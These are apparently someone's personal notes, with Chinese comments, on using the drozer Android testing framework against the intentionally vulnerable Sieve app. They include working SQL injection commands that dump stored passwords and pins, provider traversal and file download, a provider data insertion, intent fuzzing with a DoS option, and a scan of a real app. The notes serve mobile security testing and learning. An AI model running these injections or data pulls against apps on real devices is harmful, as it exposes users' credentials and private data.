~/Downloads » drozer console connect tea@teadeMacBook-Pro /Users/tea/.pyenv/versions/2.7.17/lib/python2.7/site-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release. from cryptography import x509 :0: UserWarning: You do not have a working installation of the service_identity module: 'No module named service_identity'. Please install it from <https://pypi.python.org/pypi/service_identity> and make sure all of its dependencies are satisfied. Without the service_identity module, Twisted can perform only rudimentary TLS client hostname verification. Many valid certificate/hostname mappings may be rejected. Selecting b58079c46c8716e4 (Netease MuMu 6.0.1)
dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity Permission: null com.mwr.example.sieve.MainLoginActivity Permission: null com.mwr.example.sieve.PWList Permission: null
启动activity
1 2
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
枚举provider run app.provider.info -a com.mwr.example.sieve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False
扫描可用的uri run app.provider.finduri com.mwr.example.sieve
先运行sieve添加密码后才有数据 查找可以访问Content Provider的URI(数据泄漏) run scanner.provider.finduris -a com.mwr.example.sieve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ Unable to Query content://com.mwr.example.sieve.FileBackupProvider/ Unable to Query content://com.mwr.example.sieve.DBContentProvider Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/ Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/ Unable to Query content://com.mwr.example.sieve.FileBackupProvider Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
检查是否有sql注入 run scanner.provider.injection -a com.mwr.example.sieve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Not Vulnerable: content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz>
通过暴露的数据接口插入数据
1 2 3
dz> run app.provider.insert content://com.mx.browser.browserprovider/bookmark/ -<br> -integer _id 6 --string title Taobao --string url http://**.**.**.**/ --integ<br> er parent 0
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “‘“
1 2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –selection “‘“
1 2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" | Password | pin | | qwertyuiopasdfgh | 1234 |
检查是否存在遍历文件的漏洞 run scanner.provider.traversal -a com.mwr.example.sieve
1 2 3 4 5 6 7 8 9 10 11 12 13
dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Not Vulnerable: content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.DBContentProvider/Passwords/ content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /Users/tea/Downloads/databse.db
任意下载文件
1 2
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db . Written 24576 bytes
获取service信息 获取是exported状态的services的命令 run app.service.info -a com.mwr.example.sieve
1 2 3 4 5 6
dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null
向服务发送消息 run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService –msg 1 5 3
run app.service.send com.example.srv com.example.srv.Service –msg 1 2 3 –extra float value 0.1324 –extra string test value
1 2 3 4 5 6
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3 Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService: what: 111111 arg1: 0 arg2: 0 Empty
关于service模块
1 2 3 4 5 6 7
dz> cd app dz#app> cd service dz#app.service> ls app.service.info Get information about exported services app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service
dz> run app.package.list #设备中已安装的包 dz> run app.package.list -f sieve #关键字查找包名 com.mwr.example.sieve (Sieve)
dz> run app.package.info --help
dz> run app.package.info --package [包名]
dz> run app.package.info -a com.mwr.example.sieve #查看包信息 Package: com.mwr.example.sieve Application Label: Sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/user/0/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-1/base.apk UID: 10152 GID: [3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS Application Label 显示app的名称 Process Name 显示运行该app的进程名称 Version 所安装的app的版本 Data Directory 用来存储用户数据以及明确与该app关联的应用程序目录完整路径 APK Path 设备中app真正的package文件所在的路径 UID 与该app关联的用户ID GID 与该app的用户ID相关联的系统group id Shared Libraries 该app使用的共享库的完整路径 Shared User ID 可以使用该app的共享用户的ID Use Permissions app的权限列表
# 根据包的权限寻找包 dz> run app.package.info -p [权限标识] dz> run app.package.info -p android.permission.INTERNET
# 列出导出的activity dz> run app.activity.info
# 根据名称搜索activity dz> run app.activity.info --filter [activity名] dz> run app.activity.info --filter facebook dz> run app.activity.info --f facebook
# 搜索指定包中的activity dz> run app.activity.info --package [package名] dz> run app.activity.info -a [package名] dz> run app.activity.info -a com.android.phone
# 枚举content provider dz> run app.provider.info dz> run app.provider.info -a [包名] #包名称进行搜索 dz> run app.provider.info -p [权限标识] # 权限进行搜索
# 枚举service dz> run app.service.info --package [包名] dz> run app.service.info -p [权限标识]
# 根据service名进行搜索 dz> run app.service.info -f [过滤字符串] dz> run app.service.info -filter [过滤字符串]
# 列出未导出的service dz> run app.service.info -u dz> run app.service.info --unexported dz> run app.service.info --help
# 攻击点 run app.package.attacksurface xx.xx.xx
# 启动activity run app.activity.start --component xx.xx.xx xx.xx.Activity
> list //列出目前可用的模块,也可以使用ls > help app.activity.forintent //查看指定模块的帮助信息 > run app.package.list //列出android设备中安装的app > run app.package.info -a com.android.browser //查看指定app的基本信息 > run app.activity.info -a com.android.browser //列出app中的activity组件 > run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //开启一个activity,例如运行浏览器打开谷歌页面 > run scanner.provider.finduris -a com.sina.weibo //查找可以读取的Content Provider > run app.provider.query content://settings/secure --selection "name='adb_enabled'" //读取指定Content Provider内容 > run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定文件路径里全局可写/可读的文件 > run shell.start //shell操作 > run tools.setup.busybox //安装busybox > list auxiliary //通过web的方式查看content provider组件的相关内容 > help auxiliary.webcontentresolver //webcontentresolver帮助 > run auxiliary.webcontentresolver //执行在浏览器中以http://localhost:8080即可访问 以sieve示例 > run app.package.list -f sieve //查找sieve应用程序 > run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息 > run app.package.attacksurface com.mwr.example.sieve //确定攻击面 > run app.activity.info -a com.mwr.example.sieve //获取activity信息 > run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist > run app.provider.info -a com.mwr.example.sieve //提供商信息 > run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址 >run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址 > run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入 > run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据 > run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据 > run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址 > run scanner.provider.traversal -a com.mwr.example.sieve > run app.service.info -a com.mwr.example.sieve //查看服务
显式 intent开启浏览器:
1
run app.activity.start --component com.android.browser com.android.browser.BrowserActivity --flags ACTIVITY_NEW_TASK
隐式 intent开启浏览器
1
run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com --flags ACTIVITY_NEW_TASK
dz> module repository create /Users/tea/Documents/tools/android/drozer-modules-bytea1 Initialised repository at /Users/tea/Documents/tools/android/drozer-modules-bytea1.
dz> module install /Users/tea/Documents/tools/android/drozer-modules/intents/fuzzinozer.py You have 2 drozer Module Repositories. Which would you like to install into?
运行刚刚安装的模块 run intents.fuzzinozer –fuzzing_intent –package_name com.mwr.example.sieve
run intents.fuzzinozer –help run intents.fuzzinozer –package_name com.android.bluetoothmidiservice –dos_attack 35 Android Intent Fuzzing Module for Drozer
1.Run ‘pip install twisted’ to fetch this dependency.
1 2 3 4 5
drozer console connect tea@teadeMacBook-Pro /Users/tea/.pyenv/versions/2.7.17/lib/python2.7/site-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release. from cryptography import x509 drozer Server requires Twisted to run. Run 'pip install twisted' to fetch this dependency.
安装 pip install twisted
2.drozer could not find or compile a required extension library. drozer console connect –debug
dz> run app.provider.finduri com.mwr.example.sieve Scanning com.mwr.example.sieve... exception in module: RuntimeError: drozer could not find or compile a required extension library.
Traceback (most recent call last): File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/console/session.py", line 394, in do_run module.run(argv[1:]) File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/modules/base.py", line 183, in run result = self.execute(arguments) File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/modules/app/provider.py", line 124, in execute uris = self.findAllContentUris(arguments.package) File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/modules/common/provider.py", line 206, in findAllContentUris uris = uris.union(self.__search_package(package)) File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/modules/common/provider.py", line 316, in __search_package for (path, content_uris) in self.findContentUris(package.packageName): File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/modules/common/provider.py", line 228, in findContentUris dex_file = self.extractFromZip("classes.dex", path, self.cacheDir()) File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/modules/common/zip_file.py", line 14, in extractFromZip ZipUtil = self.loadClass("common/ZipUtil.apk", "ZipUtil") File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/drozer/modules/common/loader.py", line 30, in loadClass Module.cache_klass(".".join([source, klass]), loader.loadClass(klass)) File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/pydiesel/reflection/utils/class_loader.py", line 28, in loadClass return self.getClassLoader().loadClass(klass); File "/Users/tea/.pyenv/versions/2.7.13/lib/python2.7/site-packages/pydiesel/reflection/utils/class_loader.py", line 51, in getClassLoader raise RuntimeError("drozer could not find or compile a required extension library.\n") RuntimeError: drozer could not find or compile a required extension library.
drozer Console (v2.4.4) dz> run scanner.provider.finduris -a com.coolapk.market Scanning com.coolapk.market... Unable to Query content://com.coolapk.market.fileprovider/ Unable to Query content://downloads/public_downloads Unable to Query content://com.coolapk.market.TTMultiProvider/ Unable to Query content://com.coolapk.market.fileprovider Unable to Query content://com.coolapk.market.TTMultiProvider Unable to Query content://com.coolapk.market.zbar.FileProvider Unable to Query content://com.coolapk.market.TENCENT.MID.V4/ Unable to Query content://com.coolapk.market.TENCENT.MID.V4 Unable to Query content://telephony/carriers/preferapn/ Unable to Query content://com.coolapk.market.zbar.FileProvider/ Unable to Query content://com.coolapk.market.TTFileProvider Unable to Query content://com.coolapk.market.TTFileProvider/ Unable to Query content://downloads/public_downloads/ Unable to Query content://com.coolapk.market.utilcode.provider Unable to Query content://telephony/carriers/preferapn Unable to Query content://com.coolapk.market.utilcode.provider/
dz> module install /drozer-modules/intents/fuzzinozer.py You do not have a drozer Module Repository. Would you like to create one? [yn] y Path to new repository: /drozer-modules The target (/drozer-modules) already exists.
Path to new repository: /drozer-modules1 Initialised repository at /drozer-modules1.